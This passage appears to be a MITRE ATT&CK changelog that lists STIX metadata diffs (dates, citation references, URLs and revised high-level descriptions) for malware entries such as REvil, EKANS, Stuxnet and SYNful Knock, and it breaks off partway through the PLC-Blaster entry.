[S0340] Octopus
Current version: 2.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 02:42:45.953000+00:00 | 2022-04-06 17:15:58.173000+00:00 |
| external_references[2]['source_name'] | Securelist Octopus Oct 2018 | ESET Nomadic Octopus 2018 |
| external_references[2]['description'] | Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018. | Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021. |
| external_references[2]['url'] | https://securelist.com/octopus-infested-seas-of-central-asia/88200/ | https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf |
| external_references[3]['source_name'] | Security Affairs DustSquad Oct 2018 | Securelist Octopus Oct 2018 |
| external_references[3]['description'] | Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021. | Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018. |
| external_references[3]['url'] | https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html | https://securelist.com/octopus-infested-seas-of-central-asia/88200/ |
| external_references[4]['source_name'] | ESET Nomadic Octopus 2018 | Security Affairs DustSquad Oct 2018 |
| external_references[4]['description'] | Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021. | Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021. |
| external_references[4]['url'] | https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf | https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html |
[S0085] S-Type
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-20 18:28:45.114000+00:00 | 2022-01-19 21:15:21.430000+00:00 |
| external_references[1]['description'] | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. |
| external_references[1]['url'] | https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf | https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf |
[S0519] SYNful Knock
Current version: 1.0
|
|
|---|
| t | [SYNful Knock](https://attack.mitre.org/software/S0519) is a | t | [SYNful Knock](https://attack.mitre.org/software/S0519) is a |
| stealthy modification of the operating system of network de | | stealthy modification of the operating system of network de |
| vices that can be used to maintain persistence within a vict | | vices that can be used to maintain persistence within a vict |
| im's network and provide new capabilities to the adversary.( | | im's network and provide new capabilities to the adversary.( |
| Citation: FireEye - Synful Knock)(Citation: Cisco Synful Kno | | Citation: Mandiant - Synful Knock)(Citation: Cisco Synful Kn |
| ck Evolution) | | ock Evolution) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-22 17:35:04.950000+00:00 | 2021-12-14 23:14:26.027000+00:00 |
| description | [SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.(Citation: FireEye - Synful Knock)(Citation: Cisco Synful Knock Evolution) | [SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.(Citation: Mandiant - Synful Knock)(Citation: Cisco Synful Knock Evolution) |
| external_references[1]['source_name'] | FireEye - Synful Knock | Mandiant - Synful Knock |
| external_references[1]['url'] | https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html | https://www.mandiant.com/resources/synful-knock-acis |
[S0436] TSCookie
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-07-07 14:05:07.519000+00:00 | 2022-04-15 11:32:25.171000+00:00 |
| external_references[1]['source_name'] | JPCert TSCookie March 2018 | JPCert PLEAD Downloader June 2018 |
| external_references[1]['description'] | Tomonaga, S.. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020. | Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020. |
| external_references[2]['source_name'] | JPCert BlackTech Malware September 2019 | JPCert TSCookie March 2018 |
| external_references[2]['description'] | Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020. | Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020. |
| external_references[2]['url'] | https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html | https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html |
| external_references[3]['source_name'] | JPCert PLEAD Downloader June 2018 | JPCert BlackTech Malware September 2019 |
| external_references[3]['description'] | Tomonaga, S.. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020. | Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020. |
| external_references[3]['url'] | https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html | https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html |
[S0466] WindTail
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 06:31:19.173000+00:00 | 2022-04-20 22:03:11.833000+00:00 |
[S0086] ZLib
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 02:44:21.378000+00:00 | 2022-01-19 21:19:03.738000+00:00 |
| external_references[1]['description'] | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. |
| external_references[1]['url'] | https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf | https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf |
ics-attack
Major Version Changes
[S0093] Backdoor.Oldrea
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) i | t | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) i |
| s a backdoor used by [Dragonfly](https://attack.mitre.org/gr | | s a modular backdoor that used by [Dragonfly](https://attack |
| oups/G0035). It appears to be custom malware authored by the | | .mitre.org/groups/G0035) against energy companies since at l |
| group or specifically for it. (Citation: Symantec Dragonfly | | east 2013. [Backdoor.Oldrea](https://attack.mitre.org/softwa |
| ) | | re/S0093) was distributed via supply chain compromise, and i |
| | | ncluded specialized modules to enumerate and map ICS-specifi |
| | | c systems, processes, and protocols.(Citation: Symantec Drag |
| | | onfly)(Citation: Gigamon Berserk Bear October 2021)(Citation |
| | | : Symantec Dragonfly Sept 2017) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 02:49:50.902000+00:00 | 2022-04-20 01:25:31.056000+00:00 |
| description | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a backdoor used by [Dragonfly](https://attack.mitre.org/groups/G0035). It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly) | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a modular backdoor that used by [Dragonfly](https://attack.mitre.org/groups/G0035) against energy companies since at least 2013. [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)(Citation: Symantec Dragonfly Sept 2017) |
| external_references[1]['source_name'] | Symantec Dragonfly | Gigamon Berserk Bear October 2021 |
| external_references[1]['description'] | Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. | Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021. |
| external_references[1]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf | https://vblocalhost.com/uploads/VB2021-Slowik.pdf |
| x_mitre_version | 1.1 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Symantec Dragonfly Sept 2017', 'description': 'Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.', 'url': 'https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers'} |
| external_references | | {'source_name': 'Symantec Dragonfly', 'description': 'Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.', 'url': 'https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments'} |
[S0605] EKANS
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | [EKANS](https://attack.mitre.org/software/S0605) is ransomwa | t | [EKANS](https://attack.mitre.org/software/S0605) is ransomwa |
| re variant that first appeared in mid-December 2019. [EKANS] | | re variant written in Golang that first appeared in mid-Dece |
| (https://attack.mitre.org/software/S0605) is distinct from o | | mber 2019 and has been used against multiple sectors, includ |
| ther ransomware as it was written in Golang and aims to stop | | ing energy, healthcare, and automotive manufacturing, which |
| services and processes related to Industrial Control System | | in some cases resulted in significant operational disruption |
| s.(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS | | s. [EKANS](https://attack.mitre.org/software/S0605) has used |
| ) | | a hard-coded kill-list of processes, including some associa |
| | | ted with common ICS software platforms (e.g., GE Proficy, Ho |
| | | neywell HMIWeb, etc), similar to those defined in [MegaCorte |
| | | x](https://attack.mitre.org/software/S0576).(Citation: Drago |
| | | s EKANS)(Citation: Palo Alto Unit 42 EKANS) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-13 21:54:51.532000+00:00 | 2022-04-21 01:05:24.884000+00:00 |
| description | [EKANS](https://attack.mitre.org/software/S0605) is ransomware variant that first appeared in mid-December 2019. [EKANS](https://attack.mitre.org/software/S0605) is distinct from other ransomware as it was written in Golang and aims to stop services and processes related to Industrial Control Systems.(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS) | [EKANS](https://attack.mitre.org/software/S0605) is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. [EKANS](https://attack.mitre.org/software/S0605) has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in [MegaCortex](https://attack.mitre.org/software/S0576).(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS) |
| external_references[4]['description'] | Hinchliffe, A. Santos, D.. (2020, June 26). Threat Assessment: EKANS Ransomware. Retrieved February 9, 2021. | Hinchliffe, A. Santos, D. (2020, June 26). Threat Assessment: EKANS Ransomware. Retrieved February 9, 2021. |
| x_mitre_version | 1.0 | 2.0 |
[S0372] LockerGoga
Current version: 2.0
Version changed from: 1.3 → 2.0
|
|
|---|
| t | [LockerGoga](https://attack.mitre.org/software/S0372) is ran | t | [LockerGoga](https://attack.mitre.org/software/S0372) is ran |
| somware that has been tied to various attacks on European co | | somware that was first reported in January 2019, and has bee |
| mpanies. It was first reported upon in January 2019.(Citatio | | n tied to various attacks on European companies, including i |
| n: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga | | ndustrial and manufacturing firms.(Citation: Unit42 LockerGo |
| 2019) | | ga 2019)(Citation: CarbonBlack LockerGoga 2019) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-20 18:56:22.049000+00:00 | 2022-04-21 01:00:38.896000+00:00 |
| description | [LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that has been tied to various attacks on European companies. It was first reported upon in January 2019.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019) | [LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial and manufacturing firms.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019) |
| external_references[1]['source_name'] | Unit42 LockerGoga 2019 | CarbonBlack LockerGoga 2019 |
| external_references[1]['description'] | Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019. | CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019. |
| external_references[1]['url'] | https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/ | https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/ |
| external_references[2]['source_name'] | CarbonBlack LockerGoga 2019 | Unit42 LockerGoga 2019 |
| external_references[2]['description'] | CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019. | Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019. |
| external_references[2]['url'] | https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/ | https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/ |
| x_mitre_version | 1.3 | 2.0 |
[S0496] REvil
Current version: 2.0
Version changed from: 1.2 → 2.0
|
|
|---|
| t | [REvil](https://attack.mitre.org/software/S0496) is a ransom | t | [REvil](https://attack.mitre.org/software/S0496) is a ransom |
| ware family that has been linked to the [GOLD SOUTHFIELD](ht | | ware family that has been linked to the [GOLD SOUTHFIELD](ht |
| tps://attack.mitre.org/groups/G0115) group and operated as r | | tps://attack.mitre.org/groups/G0115) group and operated as r |
| ansomware-as-a-service (RaaS) since at least April 2019. [RE | | ansomware-as-a-service (RaaS) since at least April 2019. [RE |
| vil](https://attack.mitre.org/software/S0496) is highly conf | | vil](https://attack.mitre.org/software/S0496), which as been |
| igurable and shares code similarities with the GandCrab RaaS | | used against organizations in the manufacturing, transporta |
| .(Citation: Secureworks REvil September 2019)(Citation: Inte | | tion, and electric sectors, is highly configurable and share |
| l 471 REvil March 2020)(Citation: Group IB Ransomware May 20 | | s code similarities with the GandCrab RaaS.(Citation: Secure |
| 20) | | works REvil September 2019)(Citation: Intel 471 REvil March |
| | | 2020)(Citation: Group IB Ransomware May 2020) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-18 19:38:51.122000+00:00 | 2022-04-21 01:01:16.684000+00:00 |
| description | [REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496) is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020) | [REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496), which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020) |
| external_references[3]['source_name'] | Secureworks REvil September 2019 | Talos Sodinokibi April 2019 |
| external_references[3]['description'] | Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020. | Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020. |
| external_references[3]['url'] | https://www.secureworks.com/research/revil-sodinokibi-ransomware | https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html |
| external_references[4]['source_name'] | Intel 471 REvil March 2020 | Secureworks REvil September 2019 |
| external_references[4]['description'] | Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020. | Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020. |
| external_references[4]['url'] | https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/ | https://www.secureworks.com/research/revil-sodinokibi-ransomware |
| external_references[5]['source_name'] | Group IB Ransomware May 2020 | Cylance Sodinokibi July 2019 |
| external_references[5]['description'] | Group IB. (2020, May). Ransomware Uncovered: Attackers’ Latest Methods. Retrieved August 5, 2020. | Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020. |
| external_references[5]['url'] | https://www.group-ib.com/whitepapers/ransomware-uncovered.html | https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html |
| external_references[6]['source_name'] | Kaspersky Sodin July 2019 | Group IB Ransomware May 2020 |
| external_references[6]['description'] | Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020. | Group IB. (2020, May). Ransomware Uncovered: Attackers’ Latest Methods. Retrieved August 5, 2020. |
| external_references[6]['url'] | https://securelist.com/sodin-ransomware/91473/ | https://www.group-ib.com/whitepapers/ransomware-uncovered.html |
| external_references[8]['source_name'] | Cylance Sodinokibi July 2019 | Intel 471 REvil March 2020 |
| external_references[8]['description'] | Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020. | Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020. |
| external_references[8]['url'] | https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html | https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/ |
| external_references[9]['source_name'] | Secureworks GandCrab and REvil September 2019 | Kaspersky Sodin July 2019 |
| external_references[9]['description'] | Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020. | Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020. |
| external_references[9]['url'] | https://www.secureworks.com/blog/revil-the-gandcrab-connection | https://securelist.com/sodin-ransomware/91473/ |
| external_references[10]['source_name'] | Talos Sodinokibi April 2019 | McAfee Sodinokibi October 2019 |
| external_references[10]['description'] | Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020. | McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020. |
| external_references[10]['url'] | https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html | https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/ |
| external_references[11]['source_name'] | McAfee Sodinokibi October 2019 | Picus Sodinokibi January 2020 |
| external_references[11]['description'] | McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020. | Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020. |
| external_references[11]['url'] | https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/ | https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware |
| external_references[13]['source_name'] | Picus Sodinokibi January 2020 | Secureworks GandCrab and REvil September 2019 |
| external_references[13]['description'] | Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020. | Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020. |
| external_references[13]['url'] | https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware | https://www.secureworks.com/blog/revil-the-gandcrab-connection |
| x_mitre_version | 1.2 | 2.0 |
Minor Version Changes
[S0607] KillDisk
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 14:18:07.086000+00:00 | 2022-04-19 01:59:06.481000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
[S0446] Ryuk
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-18 19:31:22.741000+00:00 | 2022-03-26 13:13:19.978000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
[S0603] Stuxnet
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-12 21:50:58.905000+00:00 | 2022-04-19 01:44:44.149000+00:00 |
| external_references[2]['source_name'] | Symantec W.32 Stuxnet Dossier | CISA ICS Advisory ICSA-10-272-01 |
| external_references[2]['description'] | Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020. | CISA. (2010, September 10). ICS Advisory (ICSA-10-272-01). Retrieved December 7, 2020. |
| external_references[2]['url'] | https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf | https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01 |
| external_references[3]['source_name'] | CISA ICS Advisory ICSA-10-272-01 | ESET Stuxnet Under the Microscope |
| external_references[3]['description'] | CISA. (2010, September 10). ICS Advisory (ICSA-10-272-01). Retrieved December 7, 2020. | Matrosov, A., Rodionov, E., Harley, D., Malcho, J.. (n.d.). Stuxnet Under the Microscope. Retrieved December 7, 2020. |
| external_references[3]['url'] | https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01 | https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf |
| external_references[4]['source_name'] | ESET Stuxnet Under the Microscope | Symantec W.32 Stuxnet Dossier |
| external_references[4]['description'] | Matrosov, A., Rodionov, E., Harley, D., Malcho, J.. (n.d.). Stuxnet Under the Microscope. Retrieved December 7, 2020. | Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020. |
| external_references[4]['url'] | https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf | https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf |
| x_mitre_version | 1.0 | 1.1 |
Patches
[S1000] ACAD/Medre.A
Current version: 1.0
|
|
|---|
| t | [ACAD/Medre.A](https://collaborate.mitre.org/attackics/index | t | [ACAD/Medre.A](https://attack.mitre.org/software/S0018) is a |
| .php/Software/S0018) is a worm that steals operational infor | | worm that steals operational information. The worm collects |
| mation. The worm collects AutoCAD files with drawings. ACAD/ | | AutoCAD files with drawings. [ACAD/Medre.A](https://attack. |
| Medre.A has the capability to be used for industrial espiona | | mitre.org/software/S0018) has the capability to be used for |
| ge. | | industrial espionage. (Citation: ESET) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| is_family | | False |
| x_mitre_domains | | ['ics-attack'] |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_aliases | ['ACAD', 'Medre.A'] | |
| x_mitre_platforms | ['Windows'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-01-02 00:14:20.652000+00:00 | 2022-04-21 22:02:03.937000+00:00 |
| description | [ACAD/Medre.A](https://collaborate.mitre.org/attackics/index.php/Software/S0018) is a worm that steals operational information. The worm collects AutoCAD files with drawings. ACAD/Medre.A has the capability to be used for industrial espionage. | [ACAD/Medre.A](https://attack.mitre.org/software/S0018) is a worm that steals operational information. The worm collects AutoCAD files with drawings. [ACAD/Medre.A](https://attack.mitre.org/software/S0018) has the capability to be used for industrial espionage. (Citation: ESET) |
| labels[0] | malware | Malware |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Software/S0018 | https://attack.mitre.org/Software/S0018 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'ESET', 'description': 'ESET ACAD/Medre.A: 10000s of AutoCAD Designs Leaked in Suspected Industrial Espionage Retrieved. 2021/04/13 ', 'url': 'https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/ESET_ACAD_Medre_A_whitepaper.pdf'} |
[S0604] Industroyer
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-13 19:33:41.189000+00:00 | 2022-04-14 19:56:46.309000+00:00 |
| external_references[3]['url'] | https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf | https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf |
| external_references[4]['url'] | https://dragos.com/blog/crashoverride/CrashOverride-01.pdf | https://dragos.com/blog/crashoverride/CrashOverride-01.pdf |
| external_references[5]['url'] | https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf | https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf |
[S1006] PLC-Blaster
Current version: 1.0
|
|
|---|
| t | [PLC-Blaster](https://collaborate.mitre.org/attackics/index. | t | [PLC-Blaster](https://attack.mitre.org/software/S0009) is a |
